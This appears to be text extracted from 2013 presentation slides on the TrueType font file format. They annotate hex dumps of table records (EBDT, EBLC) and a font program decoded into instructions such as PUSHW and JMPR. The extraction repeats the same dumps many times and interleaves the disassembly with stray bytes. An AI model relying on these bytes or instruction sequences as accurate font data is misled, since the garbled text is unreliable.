24 0e 0e 20 7c 35 0d 1c 00 45 45 45 4f 63 63 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| 32 |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| A Table Record (16 bytes) 45 42 44 54 Tag (EBDT = “Embedded Bitmap DaTa”) 4b 90 43 d6 CheckSum (All bytes added together, mod 2 ) 00 03 bd 54 Offset (245076 bytes from beginning of file) 00 00 00 28 Length (Table is 40 bytes long) Friday, March 8, 2013 On-Disk Format 00000000 00000010 00000020 00000030 00000040 00000050 00000060 00000070 00000080 00000090 000000a0 000000b0 000000c0 000000d0 000000e0 000000f0 00000100 00000110 00000120 etc... 00 4b 1f 1e 03 00 00 7f 18 db 00 00 00 01 1c 9c 8b 01 00 01 90 4d 20 bd 61 00 06 d3 b2 16 82 5e 08 d0 11 9d c0 00 00 43 32 05 0e 00 00 e9 69 28 00 00 00 00 3a 3e ff 63 00 00 d6 14 0a ca 57 00 00 4b 94 be 1e 00 23 db 69 81 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3a 00 10 03 03 03 03 03 03 00 03 03 03 03 03 03 03 03 03 40 00 01 bd bd be ba ba ba 01 ba b9 b9 ba ba ba bb bd ba 60 00 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c c0 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 28 78 94 56 34 02 9b bc 36 24 0e 0e 20 7c 35 0d 1c 00 45 45 45 4f 63 63 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| 32 |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| A Table Record (16 bytes) 45 42 44 54 Tag (EBDT = “Embedded Bitmap DaTa”) 4b 90 43 d6 CheckSum (All bytes added together, mod 2 ) 00 03 bd 54 Offset (245076 bytes from beginning of file) 00 00 00 28 Length (Table is 40 bytes long) Friday, March 8, 2013 On-Disk Format 00000000 00000010 00000020 00000030 00000040 00000050 00000060 00000070 00000080 00000090 000000a0 000000b0 000000c0 000000d0 000000e0 000000f0 00000100 00000110 00000120 etc... 00 4b 1f 1e 03 00 00 7f 18 db 00 00 00 01 1c 9c 8b 01 00 01 90 4d 20 bd 61 00 06 d3 b2 16 82 5e 08 d0 11 9d c0 00 00 43 32 05 0e 00 00 e9 69 28 00 00 00 00 3a 3e ff 63 00 00 d6 14 0a ca 57 00 00 4b 94 be 1e 00 23 db 69 81 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3a 00 10 03 03 03 03 03 03 00 03 03 03 03 03 03 03 03 03 40 00 01 bd bd be ba ba ba 01 ba b9 b9 ba ba ba bb bd ba 60 00 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c c0 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 28 78 94 56 34 02 9b bc 36 24 0e 0e 20 7c 35 0d 1c 00 45 45 45 4f 63 63 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| 32 |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| Another Table Record (16 bytes) 45 42 4c 43 Tag (EBLC = “Embedded Bitmap Location”) 1f 4d 32 14 CheckSum (All bytes added together, mod 2 ) 00 03 bd 7c Offset (245116 bytes from beginning of file) 00 00 01 78 Length (Table is 376 bytes long) Friday, March 8, 2013 On-Disk Format 00000000 00000010 00000020 00000030 00000040 00000050 00000060 00000070 00000080 00000090 000000a0 000000b0 000000c0 000000d0 000000e0 000000f0 00000100 00000110 00000120 etc... Friday, March 8, 2013 00 4b 1f 1e 03 00 00 7f 18 db 00 00 00 01 1c 9c 8b 01 00 01 90 4d 20 bd 61 00 06 d3 b2 16 82 5e 08 d0 11 9d c0 00 00 43 32 05 0e 00 00 e9 69 28 00 00 00 00 3a 3e ff 63 00 00 d6 14 0a ca 57 00 00 4b 94 be 1e 00 23 db 69 81 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3a 00 10 03 03 03 03 03 03 00 03 03 03 03 03 03 03 03 03 40 00 01 bd bd be ba ba ba 01 ba b9 b9 ba ba ba bb bd ba 60 00 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c c0 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 28 78 94 56 34 02 9b bc 36 24 0e 0e 20 7c 35 0d 1c 00 45 45 45 4f 63 63 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 Font Program Starts here 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| b8__ = 7fc0 = b8__ = 00000000 00 01 = 00 01c0 00000010 4b 90 43 63__ 00000020 1f 4d = 32 00000030 1e 20 05 b8__ 00000040 03 bd = 0e 00000050 00 61 00 3a40 = 00000060 00 00 00 00000070 7f 06 = e9 60__ 00000080 18 d3 69 00000090 db b2 = 28 b8__ 000000a0 00 16 00 000c 000000b0 00 82 = 00 000000c0 00 5e 00 60__ 000000d0 01 08 = 00 000000e0 1c d0 3a 1c__ = 000000f0 9c 11 3e 00000100 00000110 00000120 etc... Friday, March 8, 2013 PUSHW 32704 PUSHW 00 00 10 01 448 d6 00 03 bd MUL 14 00 03 bd 0a 00 03 be PUSHW ca 00 03 ba 57 00 03 ba 14912 00 00 03 ba 00 00 00 01 ADD 4b 00 03 ba 94 00 03 b9 PUSHW be 00 03 b9 12 1e 00 03 ba 00 00 03 ba ADD 23 00 03 ba db 00 03 bb JMPR 69 00 03 bd 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c 8b 9d ff 81 00 03 ba c0 01 c0 63 b8 3a 40 60 b8 00 00 00 00 00 00 00 00 Font Program 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 28 78 94 56 34 02 9b bc 36 24 0e 0e 20 7c 35 0d 1c 00 45 45 45 4f 63 63 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| b8__ = 7fc0 = b8__ = 00000000 00 01 = 00 01c0 00000010 4b 90 43 63__ 00000020 1f 4d = 32 00000030 1e 20 05 b8__ 00000040 03 bd = 0e 00000050 00 61 00 3a40 = 00000060 00 00 00 00000070 7f 06 = e9 60__ 00000080 18 d3 69 00000090 db b2 = 28 b8__ 000000a0 00 16 00 000c 000000b0 00 82 = 00 000000c0 00 5e 00 60__ 000000d0 01 08 = 00 000000e0 1c d0 3a 1c__ = 000000f0 9c 11 3e 00000100 00000110 00000120 etc... Friday, March 8, 2013 PUSHW 32704 PUSHW 00 00 10 01 448 d6 00 03 bd MUL 14 00 03 bd 0a 00 03 be PUSHW ca 00 03 ba 57 00 03 ba 14912 00 00 03 ba 00 00 00 01 ADD 4b 00 03 ba 94 00 03 b9 PUSHW be 00 03 b9 12 1e 00 03 ba 00 00 03 ba ADD 23 00 03 ba db 00 03 bb JMPR 69 00 03 bd 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c 8b 9d ff 81 00 03 ba c0 01 c0 63 b8 3a 40 60 b8 00 00 00 00 00 00 00 00 Font Program 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 28 78 94 56 34 02 9b bc 36 24 0e 0e 20 7c 35 0d 1c 00 45 45 45 4f 63 63 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| b8__ = 7fc0 = b8__ = 00000000 00 01 = 00 01c0 00000010 4b 90 43 63__ 00000020 1f 4d = 32 00000030 1e 20 05 b8__ 00000040 03 bd = 0e 00000050 00 61 00 3a40 = 00000060 00 00 00 00000070 7f 06 = e9 60__ 00000080 18 d3 69 00000090 db b2 = 28 b8__ 000000a0 00 16 00 000c 000000b0 00 82 = 00 000000c0 00 5e 00 60__ 000000d0 01 08 = 00 000000e0 1c d0 3a 1c__ = 000000f0 9c 11 3e 00000100 00000110 00000120 etc... Friday, March 8, 2013 PUSHW 32704 PUSHW 00 00 10 01 448 d6 00 03 bd MUL 14 00 03 bd 0a 00 03 be PUSHW ca 00 03 ba 57 00 03 ba 14912 00 00 03 ba 00 00 00 01 ADD 4b 00 03 ba 94 00 03 b9 PUSHW be 00 03 b9 12 1e 00 03 ba 00 00 03 ba ADD 23 00 03 ba db 00 03 bb JMPR 69 00 03 bd 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c 8b 9d ff 81 00 03 ba c0 01 c0 63 b8 3a 40 60 b8 00 00 00 00 00 00 00 00 Font Program 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 28 78 94 56 34 02 9b bc 36 24 0e 0e 20 7c 35 0d 1c 00 45 45 45 4f 63 63 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| b8__ = 7fc0 = b8__ = 00000000 00 01 = 00 01c0 00000010 4b 90 43 63__ 00000020 1f 4d = 32 00000030 1e 20 05 b8__ 00000040 03 bd = 0e 00000050 00 61 00 3a40 = 00000060 00 00 00 00000070 7f 06 = e9 60__ 00000080 18 d3 69 00000090 db b2 = 28 b8__ 000000a0 00 16 00 000c 000000b0 00 82 = 00 000000c0 00 5e 00 60__ 000000d0 01 08 = 00 000000e0 1c d0 3a 1c__ = 000000f0 9c 11 3e 00000100 00000110 00000120 etc... Friday, March 8, 2013 PUSHW 32704 PUSHW 00 00 10 01 448 d6 00 03 bd MUL 14 00 03 bd 0a 00 03 be PUSHW ca 00 03 ba 57 00 03 ba 14912 00 00 03 ba 00 00 00 01 ADD 4b 00 03 ba 94 00 03 b9 PUSHW be 00 03 b9 12 1e 00 03 ba 00 00 03 ba ADD 23 00 03 ba db 00 03 bb JMPR 69 00 03 bd 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c 8b 9d ff 81 00 03 ba c0 01 c0 63 b8 3a 40 60 b8 00 00 00 00 00 00 00 00 Font Program 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 28 78 94 56 34 02 9b bc 36 24 0e 0e 20 7c 35 0d 1c 00 45 45 45 4f 63 63 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| b8__ = 7fc0 = b8__ = 00000000 00 01 = 00 01c0 00000010 4b 90 43 63__ 00000020 1f 4d = 32 00000030 1e 20 05 b8__ 00000040 03 bd = 0e 00000050 00 61 00 3a40 = 00000060 00 00 00 00000070 7f 06 = e9 60__ 00000080 18 d3 69 00000090 db b2 = 28 b8__ 000000a0 00 16 00 000c 000000b0 00 82 = 00 000000c0 00 5e 00 60__ 000000d0 01 08 = 00 000000e0 1c d0 3a 1c__ = 000000f0 9c 11 3e 00000100 00000110 00000120 etc... Friday, March 8, 2013 PUSHW 32704 PUSHW 00 00 10 01 448 d6 00 03 bd MUL 14 00 03 bd 0a 00 03 be PUSHW ca 00 03 ba 57 00 03 ba 14912 00 00 03 ba 00 00 00 01 ADD 4b 00 03 ba 94 00 03 b9 PUSHW be 00 03 b9 12 1e 00 03 ba 00 00 03 ba ADD 23 00 03 ba db 00 03 bb JMPR 69 00 03 bd 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c 8b 9d ff 81 00 03 ba c0 01 c0 63 b8 3a 40 60 b8 00 00 00 00 00 00 00 00 Font Program 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 28 78 94 56 34 02 9b bc 36 24 0e 0e 20 7c 35 0d 1c 00 45 45 45 4f 63 63 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| b8__ = 7fc0 = b8__ = 00000000 00 01 = 00 01c0 00000010 4b 90 43 63__ 00000020 1f 4d = 32 00000030 1e 20 05 b8__ 00000040 03 bd = 0e 00000050 00 61 00 3a40 = 00000060 00 00 00 00000070 7f 06 = e9 60__ 00000080 18 d3 69 00000090 db b2 = 28 b8__ 000000a0 00 16 00 000c 000000b0 00 82 = 00 000000c0 00 5e 00 60__ 000000d0 01 08 = 00 000000e0 1c d0 3a 1c__ = 000000f0 9c 11 3e 00000100 00000110 00000120 etc... Friday, March 8, 2013 PUSHW 32704 PUSHW 00 00 10 01 448 d6 00 03 bd MUL 14 00 03 bd 0a 00 03 be PUSHW ca 00 03 ba 57 00 03 ba 14912 00 00 03 ba 00 00 00 01 ADD 4b 00 03 ba 94 00 03 b9 PUSHW be 00 03 b9 12 1e 00 03 ba 00 00 03 ba ADD 23 00 03 ba db 00 03 bb JMPR 69 00 03 bd 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c 8b 9d ff 81 00 03 ba c0 01 c0 63 b8 3a 40 60 b8 00 00 00 00 00 00 00 00 Font Program 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 28 78 94 56 34 02 9b bc 36 24 0e 0e 20 7c 35 0d 1c 00 45 45 45 4f 63 63 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| b8__ = 7fc0 = b8__ = 00000000 00 01 = 00 01c0 00000010 4b 90 43 63__ 00000020 1f 4d = 32 00000030 1e 20 05 b8__ 00000040 03 bd = 0e 00000050 00 61 00 3a40 = 00000060 00 00 00 00000070 7f 06 = e9 60__ 00000080 18 d3 69 00000090 db b2 = 28 b8__ 000000a0 00 16 00 000c 000000b0 00 82 = 00 000000c0 00 5e 00 60__ 000000d0 01 08 = 00 000000e0 1c d0 3a 1c__ = 000000f0 9c 11 3e 00000100 00000110 00000120 etc... Friday, March 8, 2013 PUSHW 32704 PUSHW 00 00 10 01 448 d6 00 03 bd MUL 14 00 03 bd 0a 00 03 be PUSHW ca 00 03 ba 57 00 03 ba 14912 00 00 03 ba 00 00 00 01 ADD 4b 00 03 ba 94 00 03 b9 PUSHW be 00 03 b9 12 1e 00 03 ba 00 00 03 ba ADD 23 00 03 ba db 00 03 bb JMPR 69 00 03 bd 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c 8b 9d ff 81 00 03 ba c0 01 c0 63 b8 3a 40 60 b8 00 00 00 00 00 00 00 00 Font Program 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 28 78 94 56 34 02 9b bc 36 24 0e 0e 20 7c 35 0d 1c 00 45 45 45 4f 63 63 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| b8__ = 7fc0 = b8__ = 00000000 00 01 = 00 01c0 00000010 4b 90 43 63__ 00000020 1f 4d = 32 00000030 1e 20 05 b8__ 00000040 03 bd = 0e 00000050 00 61 00 3a40 = 00000060 00 00 00 00000070 7f 06 = e9 60__ 00000080 18 d3 69 00000090 db b2 = 28 b8__ 000000a0 00 16 00 000c 000000b0 00 82 = 00 000000c0 00 5e 00 60__ 000000d0 01 08 = 00 000000e0 1c d0 3a 1c__ = 000000f0 9c 11 3e 00000100 00000110 00000120 etc... Friday, March 8, 2013 PUSHW 32704 PUSHW 00 00 10 01 448 d6 00 03 bd MUL 14 00 03 bd 0a 00 03 be PUSHW ca 00 03 ba 57 00 03 ba 14912 00 00 03 ba 00 00 00 01 ADD 4b 00 03 ba 94 00 03 b9 PUSHW be 00 03 b9 12 1e 00 03 ba 00 00 03 ba ADD 23 00 03 ba db 00 03 bb JMPR 69 00 03 bd 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c 8b 9d ff 81 00 03 ba c0 01 c0 63 b8 3a 40 60 b8 00 00 00 00 00 00 00 00 Font Program 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 28 78 94 56 34 02 9b bc 36 24 0e 0e 20 7c 35 0d 1c 00 45 45 45 4f 63 63 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| b8__ = 7fc0 = b8__ = 00000000 00 01 = 00 01c0 00000010 4b 90 43 63__ 00000020 1f 4d = 32 00000030 1e 20 05 b8__ 00000040 03 bd = 0e 00000050 00 61 00 3a40 = 00000060 00 00 00 00000070 7f 06 = e9 60__ 00000080 18 d3 69 00000090 db b2 = 28 b8__ 000000a0 00 16 00 000c 000000b0 00 82 = 00 000000c0 00 5e 00 60__ 000000d0 01 08 = 00 000000e0 1c d0 3a 1c__ = 000000f0 9c 11 3e 00000100 00000110 00000120 etc... Friday, March 8, 2013 PUSHW 32704 PUSHW 00 00 10 01 448 d6 00 03 bd MUL 14 00 03 bd 0a 00 03 be PUSHW ca 00 03 ba 57 00 03 ba 14912 00 00 03 ba 00 00 00 01 ADD 4b 00 03 ba 94 00 03 b9 PUSHW be 00 03 b9 12 1e 00 03 ba 00 00 03 ba ADD 23 00 03 ba db 00 03 bb JMPR 69 00 03 bd 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c 8b 9d ff 81 00 03 ba c0 01 c0 63 b8 3a 40 60 b8 00 00 00 00 00 00 00 00 Font Program 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 28 78 94 56 34 02 9b bc 36 24 0e 0e 20 7c 35 0d 1c 00 45 45 45 4f 63 63 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| b8__ = 7fc0 = b8__ = 00000000 00 01 = 00 01c0 00000010 4b 90 43 63__ 00000020 1f 4d = 32 00000030 1e 20 05 b8__ 00000040 03 bd = 0e 00000050 00 61 00 3a40 = 00000060 00 00 00 00000070 7f 06 = e9 60__ 00000080 18 d3 69 00000090 db b2 = 28 b8__ 000000a0 00 16 00 000c 000000b0 00 82 = 00 000000c0 00 5e 00 60__ 000000d0 01 08 = 00 000000e0 1c d0 3a 1c__ = 000000f0 9c 11 3e 00000100 00000110 00000120 etc... Friday, March 8, 2013 PUSHW 32704 PUSHW 00 00 10 01 448 d6 00 03 bd MUL 14 00 03 bd 0a 00 03 be PUSHW ca 00 03 ba 57 00 03 ba 14912 00 00 03 ba 00 00 00 01 ADD 4b 00 03 ba 94 00 03 b9 PUSHW be 00 03 b9 12 1e 00 03 ba 00 00 03 ba ADD 23 00 03 ba db 00 03 bb JMPR 69 00 03 bd 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c 8b 9d ff 81 00 03 ba c0 01 c0 63 b8 3a 40 60 b8 00 00 00 00 00 00 00 00 Font Program 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 28 78 94 56 34 02 9b bc 36 24 0e 0e 20 7c 35 0d 1c 00 45 45 45 4f 63 63 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 79 61 65 74 63 78 6d 73 65 c0 00 00 54 43 43 32 70 20 6d 66 64 61 78 61 70 65 74 70 b8 00 00 |............EBDT| |K.C....T...(EBLC| |.M2....|...xEBSC| |. ..........OS/2| |.......$...Vcmap| |.a.W.......4cvt | |............fpgm| |............glyf| |..iK........head| |..(........6hhea| |...........$hmtx| |.......|....loca| |.^..........maxp| |...#....... name| |..:........|post| |..>i.......5prep| |................| |..c.:@`...`.....| |................| b8__ = 7fc0 = b8__ = 00000000 00 01 = 00 01c0 00000010 4b 90 43 63__ 00000020 1f 4d = 32 00000030 1e 20 05 b8__ 00000040 03 bd = 0e 00000050 00 61 00 3a40 = 00000060 00 00 00 00000070 7f 06 = e9 60__ 00000080 18 d3 69 00000090 db b2 = 28 b8__ 000000a0 00 16 00 000c 000000b0 00 82 = 00 000000c0 00 5e 00 60__ 000000d0 01 08 = 00 000000e0 1c d0 3a 1c__ = 000000f0 9c 11 3e 00000100 00000110 00000120 etc... Friday, March 8, 2013 PUSHW 32704 PUSHW 00 00 10 01 448 d6 00 03 bd MUL 14 00 03 bd 0a 00 03 be PUSHW ca 00 03 ba 57 00 03 ba 14912 00 00 03 ba 00 00 00 01 ADD 4b 00 03 ba 94 00 03 b9 PUSHW be 00 03 b9 12 1e 00 03 ba 00 00 03 ba ADD 23 00 03 ba db 00 03 bb JMPR 69 00 03 bd 00 54 7c f4 24 8c d0 0c e4 a8 e0 7c d4 04 a0 1c 8b 9d ff 81 00 03 ba c0 01 c0 63 b8 3a 40 60 b8 00 00 00 00 00 00 00 00 Font Program 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 0c 00 00 00 01 00 00 00 00 b8 00 00 00 00 00 00 01 00 00 60 00 00 28 78 94 56 34 02 9b bc 36 24 0e 0e 20 7c 35 0d 1c 00 45 45 45 4f 63 63 66 67 68 68 68 6c 6d 6e 70 70 b8 00 00 42 42 42 53 6d 76 70 6c 65 68 6d 6f 61 61 6f 72 7f 00 00 44 4c 53 2f 61 74 67 